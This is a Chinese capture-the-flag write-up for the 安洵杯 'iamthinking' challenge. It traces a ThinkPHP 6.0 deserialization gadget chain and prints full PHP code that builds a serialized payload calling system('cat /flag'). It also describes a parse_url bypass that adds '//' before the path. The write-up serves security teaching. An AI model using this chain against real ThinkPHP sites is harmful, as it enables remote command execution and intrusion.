安洵杯iamthinking tp6pop链

考点:

1.tp6.0反序列化链

2.parse_url()绕过

利用链:

前半部分利用链(tp6.0)

think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields() 后半部分利用链(同tp 5.2后半部分利用链) think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

tp6.0与tp5.2的后半部分利用链一样,但是官方和composer都找不到tp5.2的源码了,将就着看一下吧

首先入口点是在think\Model::__destruct(),可以用全局搜索找到

安洵杯iamthinking(tp6反序列化链)-LMLPHP

令$this->lazySave=true,进入save()

安洵杯iamthinking(tp6反序列化链)-LMLPHP

要确保进入this->updateData,所以就不能让前面的成立

安洵杯iamthinking(tp6反序列化链)-LMLPHP

1.跟进isEmpty,令this->data不为空

安洵杯iamthinking(tp6反序列化链)-LMLPHP

2.跟进this->trigger,令this->withEvent=flase

安洵杯iamthinking(tp6反序列化链)-LMLPHP

3.令this->exits=true

满足条件进入updateData

protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
} return true;
}
......
// 检查允许字段
$allowFields = $this->checkAllowFields();

满足$data不为空,而data由getChangedData()得到,跟进,令this->force=true返回this->data安洵杯iamthinking(tp6反序列化链)-LMLPHP

而前面isEmpty中已经定义过this->data不为空,那么data也不为空

进入checkAllowFields()

安洵杯iamthinking(tp6反序列化链)-LMLPHP

满足this->field与this->schema为空数组来到else下,看到拼接令this->table.this->suffix,令其中任意一个为类的实例即可触发tostring

最终跟据tp5.2的后半部分构造出pop链:

<?php
namespace think\model\concern {
trait Conversion
{
} trait Attribute
{
private $data;
private $withAttr = ["xxx" => "system"]; public function get()
{
$this->data = ["xxx" => "cat /flag"];
}
}
} namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
} namespace think\model{ use think\Model; class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
} $a = new Pivot();
$b = new Pivot($a); echo urlencode(serialize($b));
}

由于Model是一个抽象类,所以用他的子类Pivot,

由于model\concern\Conversion是一个trait复用类,所以只要在Model下use即可

https://www.anquanke.com/post/id/187393#h2-1

最后就是parse_url绕过了

安洵杯iamthinking(tp6反序列化链)-LMLPHP

所以我们只要在public前加2个//构造成:

这样导致url不合格但是路径依然正确,parse_url返回bool(false)即可绕过

安洵杯iamthinking(tp6反序列化链)-LMLPHP

05-28 17:20